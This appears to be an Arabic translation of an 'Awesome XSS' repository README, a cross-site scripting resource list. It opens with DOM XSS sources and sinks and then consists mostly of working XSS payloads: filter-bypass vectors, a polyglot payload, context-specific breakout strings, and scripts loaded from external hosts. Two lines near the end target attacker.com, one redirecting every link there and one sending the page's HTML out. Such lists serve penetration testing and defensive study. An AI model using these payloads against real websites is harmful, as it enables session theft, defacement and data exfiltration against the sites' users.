
أشياء رائعة عن XSS
هذا المستودع عبارة عن مجموعة من موارد XSS الرائعة. المساهمات مرحّب بها ويُرجى تقديمها عبر issue.
خريطة ذهنية جميلة لـ XSS من إعداد Jack Masa، هنا
VulnerableNot vulnerableSource: إدخال يمكن التحكم به من مصدر خارجي (غير موثوق).
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
Sink: طريقة قد تكون خطيرة ويمكن أن تؤدي إلى ثغرة أمنية. في هذه الحالة، XSS قائم على DOM.
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
تم أخذ هذه القائمة الشاملة للمصادر وsinks من domxsswiki.
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="https://github.com/s0md3v/awesomexss/blob/master/javascript%26colon%3Balert%281%29">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>
إليك حمولة XSS متعددة السياقات (polyglot) قمت بصنعها ويمكنها كسر أكثر من 20 سياقًا:
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
شرح لكيفية عملها، هنا
بعض معالجات الأحداث الأقل اكتشافًا
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
بعض وسوم HTML التي قد تستخدمها
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
الحالة: <tag>You searched for $input. </tag>
<svg onload=alert()>
</tag><svg onload=alert()>
الحالة: <tag attribute="$input">
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()
الحالة: <script> var new something = '$input'; </script>
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
نعم، استخدم confirm لأن alert أصبح تقليديًا.
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "https://attacker.com";
});
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
إذا لم ينجح أي من هذا، ألقِ نظرة على قسم Awesome Bypassing